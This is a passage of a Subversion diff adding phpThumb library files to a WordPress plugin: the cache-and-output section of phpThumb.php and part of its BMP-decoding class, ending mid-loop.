+		$phpThumb->DebugMessage('Would have used cached (image/'.$phpThumb->thumbnailFormat.') file "'.$phpThumb->cache_filename.'" (Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT), but skipping because $_SERVER[HTTP_REFERER] ('.@$_SERVER['HTTP_REFERER'].') is not in $phpThumb->config_nooffsitelink_valid_domains ('.implode(';', $phpThumb->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
+
+	} elseif ($phpThumb->phpThumbDebug) {
+
+		$phpThumb->DebugTimingMessage('skipped using cached image', __FILE__, __LINE__);
+		$phpThumb->DebugMessage('Would have used cached file, but skipping due to phpThumbDebug', __FILE__, __LINE__);
+		$phpThumb->DebugMessage('* Would have sent headers (1): Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT', __FILE__, __LINE__);
+		if ($getimagesize = @GetImageSize($phpThumb->cache_filename)) {
+			$phpThumb->DebugMessage('* Would have sent headers (2): Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($getimagesize[2]), __FILE__, __LINE__);
+		}
+		if (ereg('^'.preg_quote($nice_docroot).'(.*)$', $nice_cachefile, $matches)) {
+			$phpThumb->DebugMessage('* Would have sent headers (3): Location: '.dirname($matches[1]).'/'.urlencode(basename($matches[1])), __FILE__, __LINE__);
+		} else {
+			$phpThumb->DebugMessage('* Would have sent data: readfile('.$phpThumb->cache_filename.')', __FILE__, __LINE__);
+		}
+
+	} else {
+
+		if (headers_sent()) {
+			$phpThumb->ErrorImage('Headers already sent ('.basename(__FILE__).' line '.__LINE__.')');
+			exit;
+		}
+		SendSaveAsFileHeaderIfNeeded();
+
+		header('Last-Modified: '.gmdate('D, d M Y H:i:s', $nModified).' GMT');
+		if (@$_SERVER['HTTP_IF_MODIFIED_SINCE'] && ($nModified == strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])) && @$_SERVER['SERVER_PROTOCOL']) {
+			header($_SERVER['SERVER_PROTOCOL'].' 304 Not Modified');
+			exit;
+		}
+
+		if ($getimagesize = @GetImageSize($phpThumb->cache_filename)) {
+			header('Content-Type: '.phpthumb_functions::ImageTypeToMIMEtype($getimagesize[2]));
+		} elseif (eregi('\.ico$', $phpThumb->cache_filename)) {
+			header('Content-Type: image/x-icon');
+		}
+		if (!@$PHPTHUMB_CONFIG['cache_force_passthru'] && ereg('^'.preg_quote($nice_docroot).'(.*)$', $nice_cachefile, $matches)) {
+			header('Location: '.dirname($matches[1]).'/'.urlencode(basename($matches[1])));
+		} else {
+			@readfile($phpThumb->cache_filename);
+		}
+		exit;
+
+	}
+	return true;
+}
+
+// check to see if file already exists in cache, and output it with no processing if it does
+$phpThumb->SetCacheFilename();
+if (@is_file($phpThumb->cache_filename)) {
+	RedirectToCachedFile();
+} else {
+	$phpThumb->DebugMessage('Cached file "'.$phpThumb->cache_filename.'" does not exist, processing as normal', __FILE__, __LINE__);
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[6]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '6') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+if ($phpThumb->rawImageData) {
+
+	// great
+
+} elseif (@$_GET['new']) {
+
+	// generate a blank image resource of the specified size/background color/opacity
+	if (($phpThumb->w <= 0) || ($phpThumb->h <= 0)) {
+		$phpThumb->ErrorImage('"w" and "h" parameters required for "new"');
+	}
+	@list($bghexcolor, $opacity) = explode('|', $_GET['new']);
+	if (!phpthumb_functions::IsHexColor($bghexcolor)) {
+		$phpThumb->ErrorImage('BGcolor parameter for "new" is not valid');
+	}
+	$opacity = (strlen($opacity) ? $opacity : 100);
+	if ($phpThumb->gdimg_source = phpthumb_functions::ImageCreateFunction($phpThumb->w, $phpThumb->h)) {
+		$alpha = (100 - min(100, max(0, $opacity))) * 1.27;
+		if ($alpha) {
+			$phpThumb->setParameter('is_alpha', true);
+			ImageAlphaBlending($phpThumb->gdimg_source, false);
+			ImageSaveAlpha($phpThumb->gdimg_source, true);
+		}
+		$new_background_color = phpthumb_functions::ImageHexColorAllocate($phpThumb->gdimg_source, $bghexcolor, false, $alpha);
+		ImageFilledRectangle($phpThumb->gdimg_source, 0, 0, $phpThumb->w, $phpThumb->h, $new_background_color);
+	} else {
+		$phpThumb->ErrorImage('failed to create "new" image ('.$phpThumb->w.'x'.$phpThumb->h.')');
+	}
+
+} elseif (!$phpThumb->src) {
+
+	$phpThumb->ErrorImage('Usage: '.$_SERVER['PHP_SELF'].'?src=/path/and/filename.jpg'."\n".'read Usage comments for details');
+
+} elseif (eregi('^(f|ht)tp\://', $phpThumb->src)) {
+
+	$phpThumb->DebugMessage('$phpThumb->src ('.$phpThumb->src.') is remote image, attempting to download', __FILE__, __LINE__);
+	if ($phpThumb->config_http_user_agent) {
+		$phpThumb->DebugMessage('Setting "user_agent" to "'.$phpThumb->config_http_user_agent.'"', __FILE__, __LINE__);
+		ini_set('user_agent', $phpThumb->config_http_user_agent);
+	}
+	$cleanedupurl = phpthumb_functions::CleanUpURLencoding($phpThumb->src);
+	$phpThumb->DebugMessage('CleanUpURLencoding('.$phpThumb->src.') returned "'.$cleanedupurl.'"', __FILE__, __LINE__);
+	$phpThumb->src = $cleanedupurl;
+	unset($cleanedupurl);
+	if ($rawImageData = phpthumb_functions::SafeURLread($phpThumb->src, $error, $phpThumb->config_http_fopen_timeout, $phpThumb->config_http_follow_redirect)) {
+		$phpThumb->DebugMessage('SafeURLread('.$phpThumb->src.') succeeded'.($error ? ' with messsages: "'.$error.'"' : ''), __FILE__, __LINE__);
+		$phpThumb->DebugMessage('Setting source data from URL "'.$phpThumb->src.'"', __FILE__, __LINE__);
+		$phpThumb->setSourceData($rawImageData, urlencode($phpThumb->src));
+	} else {
+		$phpThumb->ErrorImage($error);
+	}
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[7]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '7') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+$phpThumb->GenerateThumbnail();
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[8]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '8') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+if ($phpThumb->config_allow_parameter_file && $phpThumb->file) {
+
+	$phpThumb->RenderToFile($phpThumb->ResolveFilenameToAbsolute($phpThumb->file));
+	if ($phpThumb->config_allow_parameter_goto && $phpThumb->goto && eregi('^(f|ht)tps?://', $phpThumb->goto)) {
+		// redirect to another URL after image has been rendered to file
+		header('Location: '.$phpThumb->goto);
+		exit;
+	}
+
+} elseif (@$PHPTHUMB_CONFIG['high_security_enabled'] && @$_GET['nocache']) {
+
+	// cache disabled, don't write cachefile
+
+} else {
+
+	phpthumb_functions::EnsureDirectoryExists(dirname($phpThumb->cache_filename));
+	if ((file_exists($phpThumb->cache_filename) && is_writable($phpThumb->cache_filename)) || is_writable(dirname($phpThumb->cache_filename))) {
+
+		$phpThumb->CleanUpCacheDirectory();
+		if ($phpThumb->RenderToFile($phpThumb->cache_filename) && is_readable($phpThumb->cache_filename)) {
+			chmod($phpThumb->cache_filename, 0644);
+			RedirectToCachedFile();
+		} else {
+			$phpThumb->DebugMessage('Failed: RenderToFile('.$phpThumb->cache_filename.')', __FILE__, __LINE__);
+		}
+
+	} else {
+
+		$phpThumb->DebugMessage('Cannot write to $phpThumb->cache_filename ('.$phpThumb->cache_filename.') because that directory ('.dirname($phpThumb->cache_filename).') is not writable', __FILE__, __LINE__);
+
+	}
+
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[9]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '9') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+if (!$phpThumb->OutputThumbnail()) {
+	$phpThumb->ErrorImage('Error in OutputThumbnail():'."\n".$phpThumb->debugmessages[(count($phpThumb->debugmessages) - 1)]);
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[10]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '10') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.bmp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.bmp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.bmp.php	(revision 44)
@@ -0,0 +1,878 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.graphic.bmp.php                                      //
+// module for analyzing BMP Image files                        //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// Modified for use in phpThumb() - James Heinrich 2004.07.27  //
+//                                                             //
+/////////////////////////////////////////////////////////////////
+
+
+class phpthumb_bmp {
+
+	function phpthumb_bmp() {
+		return true;
+	}
+
+	function phpthumb_bmp2gd(&$BMPdata, $truecolor=true) {
+		$ThisFileInfo = array();
+		if ($this->getid3_bmp($BMPdata, $ThisFileInfo, true, true)) {
+			$gd = $this->PlotPixelsGD($ThisFileInfo['bmp'], $truecolor);
+			return $gd;
+		}
+		return false;
+	}
+
+	function phpthumb_bmpfile2gd($filename, $truecolor=true) {
+		if ($fp = @fopen($filename, 'rb')) {
+			$BMPdata = fread($fp, filesize($filename));
+			fclose($fp);
+			return $this->phpthumb_bmp2gd($BMPdata, $truecolor);
+		}
+		return false;
+	}
+
+	function GD2BMPstring(&$gd_image) {
+		$imageX = ImageSX($gd_image);
+		$imageY = ImageSY($gd_image);
+
+		$BMP = '';
+		for ($y = ($imageY - 1); $y >= 0; $y--) {
+			$thisline = '';
+			for ($x = 0; $x < $imageX; $x++) {
+				$argb = phpthumb_functions::GetPixelColor($gd_image, $x, $y);
+				$thisline .= chr($argb['blue']).chr($argb['green']).chr($argb['red']);
+			}
+			while (strlen($thisline) % 4) {
+				$thisline .= "\x00";
+			}
+			$BMP .= $thisline;
+		}
+
+		$bmpSize = strlen($BMP) + 14 + 40;
+		// BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp
+		$BITMAPFILEHEADER  = 'BM';                                                           // WORD    bfType;
+		$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String($bmpSize, 4); // DWORD   bfSize;
+		$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(       0, 2); // WORD    bfReserved1;
+		$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(       0, 2); // WORD    bfReserved2;
+		$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(      54, 4); // DWORD   bfOffBits;
+
+		// BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp
+		$BITMAPINFOHEADER  = phpthumb_functions::LittleEndian2String(      40, 4); // DWORD  biSize;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String( $imageX, 4); // LONG   biWidth;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String( $imageY, 4); // LONG   biHeight;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       1, 2); // WORD   biPlanes;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(      24, 2); // WORD   biBitCount;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       0, 4); // DWORD  biCompression;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       0, 4); // DWORD  biSizeImage;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(    2835, 4); // LONG   biXPelsPerMeter;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(    2835, 4); // LONG   biYPelsPerMeter;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       0, 4); // DWORD  biClrUsed;
+		$BITMAPINFOHEADER .= phpthumb_functions::LittleEndian2String(       0, 4); // DWORD  biClrImportant;
+
+		return $BITMAPFILEHEADER.$BITMAPINFOHEADER.$BMP;
+	}
+
+	function getid3_bmp(&$BMPdata, &$ThisFileInfo, $ExtractPalette=false, $ExtractData=false) {
+
+	    // shortcuts
+	    $ThisFileInfo['bmp']['header']['raw'] = array();
+	    $thisfile_bmp                         = &$ThisFileInfo['bmp'];
+	    $thisfile_bmp_header                  = &$thisfile_bmp['header'];
+	    $thisfile_bmp_header_raw              = &$thisfile_bmp_header['raw'];
+
+		// BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp
+		// all versions
+		// WORD    bfType;
+		// DWORD   bfSize;
+		// WORD    bfReserved1;
+		// WORD    bfReserved2;
+		// DWORD   bfOffBits;
+
+		$offset = 0;
+		$overalloffset = 0;
+		$BMPheader = substr($BMPdata, $overalloffset, 14 + 40);
+		$overalloffset += (14 + 40);
+
+		$thisfile_bmp_header_raw['identifier']  = substr($BMPheader, $offset, 2);
+		$offset += 2;
+
+		if ($thisfile_bmp_header_raw['identifier'] != 'BM') {
+			$ThisFileInfo['error'][] = 'Expecting "BM" at offset '.intval(@$ThisFileInfo['avdataoffset']).', found "'.$thisfile_bmp_header_raw['identifier'].'"';
+			unset($ThisFileInfo['fileformat']);
+			unset($ThisFileInfo['bmp']);
+			return false;
+		}
+
+		$thisfile_bmp_header_raw['filesize']    = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+		$offset += 4;
+		$thisfile_bmp_header_raw['reserved1']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+		$offset += 2;
+		$thisfile_bmp_header_raw['reserved2']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+		$offset += 2;
+		$thisfile_bmp_header_raw['data_offset'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+		$offset += 4;
+		$thisfile_bmp_header_raw['header_size'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+		$offset += 4;
+
+
+		// check if the hardcoded-to-1 "planes" is at offset 22 or 26
+		$planes22 = $this->LittleEndian2Int(substr($BMPheader, 22, 2));
+		$planes26 = $this->LittleEndian2Int(substr($BMPheader, 26, 2));
+		if (($planes22 == 1) && ($planes26 != 1)) {
+			$thisfile_bmp['type_os']      = 'OS/2';
+			$thisfile_bmp['type_version'] = 1;
+		} elseif (($planes26 == 1) && ($planes22 != 1)) {
+			$thisfile_bmp['type_os']      = 'Windows';
+			$thisfile_bmp['type_version'] = 1;
+		} elseif ($thisfile_bmp_header_raw['header_size'] == 12) {
+			$thisfile_bmp['type_os']      = 'OS/2';
+			$thisfile_bmp['type_version'] = 1;
+		} elseif ($thisfile_bmp_header_raw['header_size'] == 40) {
+			$thisfile_bmp['type_os']      = 'Windows';
+			$thisfile_bmp['type_version'] = 1;
+		} elseif ($thisfile_bmp_header_raw['header_size'] == 84) {
+			$thisfile_bmp['type_os']      = 'Windows';
+			$thisfile_bmp['type_version'] = 4;
+		} elseif ($thisfile_bmp_header_raw['header_size'] == 100) {
+			$thisfile_bmp['type_os']      = 'Windows';
+			$thisfile_bmp['type_version'] = 5;
+		} else {
+			$ThisFileInfo['error'][] = 'Unknown BMP subtype (or not a BMP file)';
+			unset($ThisFileInfo['fileformat']);
+			unset($ThisFileInfo['bmp']);
+			return false;
+		}
+
+		$ThisFileInfo['fileformat']                  = 'bmp';
+		$ThisFileInfo['video']['dataformat']         = 'bmp';
+		$ThisFileInfo['video']['lossless']           = true;
+		$ThisFileInfo['video']['pixel_aspect_ratio'] = (float) 1;
+
+		if ($thisfile_bmp['type_os'] == 'OS/2') {
+
+			// OS/2-format BMP
+			// http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
+
+			// DWORD  Size;             /* Size of this structure in bytes */
+			// DWORD  Width;            /* Bitmap width in pixels */
+			// DWORD  Height;           /* Bitmap height in pixel */
+			// WORD   NumPlanes;        /* Number of bit planes (color depth) */
+			// WORD   BitsPerPixel;     /* Number of bits per pixel per plane */
+
+			$thisfile_bmp_header_raw['width']          = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+			$thisfile_bmp_header_raw['height']         = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+			$thisfile_bmp_header_raw['planes']         = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+			$thisfile_bmp_header_raw['bits_per_pixel'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+
+			$ThisFileInfo['video']['resolution_x']    = $thisfile_bmp_header_raw['width'];
+			$ThisFileInfo['video']['resolution_y']    = $thisfile_bmp_header_raw['height'];
+			$ThisFileInfo['video']['codec']           = 'BI_RGB '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
+			$ThisFileInfo['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel'];
+
+			if ($thisfile_bmp['type_version'] >= 2) {
+				// DWORD  Compression;      /* Bitmap compression scheme */
+				// DWORD  ImageDataSize;    /* Size of bitmap data in bytes */
+				// DWORD  XResolution;      /* X resolution of display device */
+				// DWORD  YResolution;      /* Y resolution of display device */
+				// DWORD  ColorsUsed;       /* Number of color table indices used */
+				// DWORD  ColorsImportant;  /* Number of important color indices */
+				// WORD   Units;            /* Type of units used to measure resolution */
+				// WORD   Reserved;         /* Pad structure to 4-byte boundary */
+				// WORD   Recording;        /* Recording algorithm */
+				// WORD   Rendering;        /* Halftoning algorithm used */
+				// DWORD  Size1;            /* Reserved for halftoning algorithm use */
+				// DWORD  Size2;            /* Reserved for halftoning algorithm use */
+				// DWORD  ColorEncoding;    /* Color model used in bitmap */
+				// DWORD  Identifier;       /* Reserved for application use */
+
+				$thisfile_bmp_header_raw['compression']      = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['bmp_data_size']    = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['resolution_h']     = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['resolution_v']     = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['colors_used']      = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['colors_important'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['resolution_units'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+				$offset += 2;
+				$thisfile_bmp_header_raw['reserved1']        = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+				$offset += 2;
+				$thisfile_bmp_header_raw['recording']        = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+				$offset += 2;
+				$thisfile_bmp_header_raw['rendering']        = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+				$offset += 2;
+				$thisfile_bmp_header_raw['size1']            = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['size2']            = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['color_encoding']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['identifier']       = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+
+				$thisfile_bmp_header['compression']          = $this->BMPcompressionOS2Lookup($thisfile_bmp_header_raw['compression']);
+
+				$ThisFileInfo['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
+			}
+
+		} elseif ($thisfile_bmp['type_os'] == 'Windows') {
+
+			// Windows-format BMP
+
+			// BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp
+			// all versions
+			// DWORD  biSize;
+			// LONG   biWidth;
+			// LONG   biHeight;
+			// WORD   biPlanes;
+			// WORD   biBitCount;
+			// DWORD  biCompression;
+			// DWORD  biSizeImage;
+			// LONG   biXPelsPerMeter;
+			// LONG   biYPelsPerMeter;
+			// DWORD  biClrUsed;
+			// DWORD  biClrImportant;
+
+			$thisfile_bmp_header_raw['width']            = $this->LittleEndian2Int(substr($BMPheader, $offset, 4), true);
+			$offset += 4;
+			$thisfile_bmp_header_raw['height']           = $this->LittleEndian2Int(substr($BMPheader, $offset, 4), true);
+			$offset += 4;
+			$thisfile_bmp_header_raw['planes']           = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+			$thisfile_bmp_header_raw['bits_per_pixel']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 2));
+			$offset += 2;
+			$thisfile_bmp_header_raw['compression']      = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+			$offset += 4;
+			$thisfile_bmp_header_raw['bmp_data_size']    = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+			$offset += 4;
+			$thisfile_bmp_header_raw['resolution_h']     = $this->LittleEndian2Int(substr($BMPheader, $offset, 4), true);
+			$offset += 4;
+			$thisfile_bmp_header_raw['resolution_v']     = $this->LittleEndian2Int(substr($BMPheader, $offset, 4), true);
+			$offset += 4;
+			$thisfile_bmp_header_raw['colors_used']      = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+			$offset += 4;
+			$thisfile_bmp_header_raw['colors_important'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+			$offset += 4;
+
+			$thisfile_bmp_header['compression'] = $this->BMPcompressionWindowsLookup($thisfile_bmp_header_raw['compression']);
+			$ThisFileInfo['video']['resolution_x']    = $thisfile_bmp_header_raw['width'];
+			$ThisFileInfo['video']['resolution_y']    = $thisfile_bmp_header_raw['height'];
+			$ThisFileInfo['video']['codec']           = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit';
+			$ThisFileInfo['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel'];
+
+			if (($thisfile_bmp['type_version'] >= 4) || ($thisfile_bmp_header_raw['compression'] == 3)) {
+				// should only be v4+, but BMPs with type_version==1 and BI_BITFIELDS compression have been seen
+				$BMPheader .= substr($BMPdata, $overalloffset, 44);
+				$overalloffset += 44;
+
+				// BITMAPV4HEADER - [44 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_2k1e.asp
+				// Win95+, WinNT4.0+
+				// DWORD        bV4RedMask;
+				// DWORD        bV4GreenMask;
+				// DWORD        bV4BlueMask;
+				// DWORD        bV4AlphaMask;
+				// DWORD        bV4CSType;
+				// CIEXYZTRIPLE bV4Endpoints;
+				// DWORD        bV4GammaRed;
+				// DWORD        bV4GammaGreen;
+				// DWORD        bV4GammaBlue;
+				$thisfile_bmp_header_raw['red_mask']     = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['green_mask']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['blue_mask']    = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['alpha_mask']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['cs_type']      = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['ciexyz_red']   =                         substr($BMPheader, $offset, 4);
+				$offset += 4;
+				$thisfile_bmp_header_raw['ciexyz_green'] =                         substr($BMPheader, $offset, 4);
+				$offset += 4;
+				$thisfile_bmp_header_raw['ciexyz_blue']  =                         substr($BMPheader, $offset, 4);
+				$offset += 4;
+				$thisfile_bmp_header_raw['gamma_red']    = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['gamma_green']  = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['gamma_blue']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+
+				$thisfile_bmp_header['ciexyz_red']   = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_red']));
+				$thisfile_bmp_header['ciexyz_green'] = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_green']));
+				$thisfile_bmp_header['ciexyz_blue']  = $this->FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_blue']));
+			}
+
+			if ($thisfile_bmp['type_version'] >= 5) {
+				$BMPheader .= substr($BMPdata, $overalloffset, 16);
+				$overalloffset += 16;
+
+				// BITMAPV5HEADER - [16 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_7c36.asp
+				// Win98+, Win2000+
+				// DWORD        bV5Intent;
+				// DWORD        bV5ProfileData;
+				// DWORD        bV5ProfileSize;
+				// DWORD        bV5Reserved;
+				$thisfile_bmp_header_raw['intent']              = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['profile_data_offset'] = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['profile_data_size']   = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+				$thisfile_bmp_header_raw['reserved3']           = $this->LittleEndian2Int(substr($BMPheader, $offset, 4));
+				$offset += 4;
+			}
+
+		} else {
+
+			$ThisFileInfo['error'][] = 'Unknown BMP format in header.';
+			return false;
+
+		}
+
+		if ($ExtractPalette || $ExtractData) {
+			$PaletteEntries = 0;
+			if ($thisfile_bmp_header_raw['bits_per_pixel'] < 16) {
+				$PaletteEntries = pow(2, $thisfile_bmp_header_raw['bits_per_pixel']);
+			} elseif (isset($thisfile_bmp_header_raw['colors_used']) && ($thisfile_bmp_header_raw['colors_used'] > 0) && ($thisfile_bmp_header_raw['colors_used'] <= 256)) {
+				$PaletteEntries = $thisfile_bmp_header_raw['colors_used'];
+			}
+			if ($PaletteEntries > 0) {
+				$BMPpalette = substr($BMPdata, $overalloffset, 4 * $PaletteEntries);
+				$overalloffset += 4 * $PaletteEntries;
+
+				$paletteoffset = 0;
+				for ($i = 0; $i < $PaletteEntries; $i++) {
+					// RGBQUAD          - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_5f8y.asp
+					// BYTE    rgbBlue;
+					// BYTE    rgbGreen;
+					// BYTE    rgbRed;
+					// BYTE    rgbReserved;
+					$blue  = $this->LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1));
+					$green = $this->LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1));
+					$red   = $this->LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1));
+					if (($thisfile_bmp['type_os'] == 'OS/2') && ($thisfile_bmp['type_version'] == 1)) {
+						// no padding byte
+					} else {
+						$paletteoffset++; // padding byte
+					}
+					$thisfile_bmp['palette'][$i] = (($red << 16) | ($green << 8) | ($blue));
+				}
+			}
+		}
+
+		if ($ExtractData) {
+			$RowByteLength = ceil(($thisfile_bmp_header_raw['width'] * ($thisfile_bmp_header_raw['bits_per_pixel'] / 8)) / 4) * 4; // round up to nearest DWORD boundry
+
+			$BMPpixelData = substr($BMPdata, $thisfile_bmp_header_raw['data_offset'], $thisfile_bmp_header_raw['height'] * $RowByteLength);
+			$overalloffset = $thisfile_bmp_header_raw['data_offset'] + ($thisfile_bmp_header_raw['height'] * $RowByteLength);
+
+			$pixeldataoffset = 0;
+			switch (@$thisfile_bmp_header_raw['compression']) {
+
+				case 0: // BI_RGB
+					switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
+						case 1:
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) {
+									$paletteindexbyte = ord($BMPpixelData{$pixeldataoffset++});
+									for ($i = 7; $i >= 0; $i--) {
+										$paletteindex = ($paletteindexbyte & (0x01 << $i)) >> $i;
+										$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
+										$col++;
+									}
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						case 4:
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) {
+									$paletteindexbyte = ord($BMPpixelData{$pixeldataoffset++});
+									for ($i = 1; $i >= 0; $i--) {
+										$paletteindex = ($paletteindexbyte & (0x0F << (4 * $i))) >> (4 * $i);
+										$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
+										$col++;
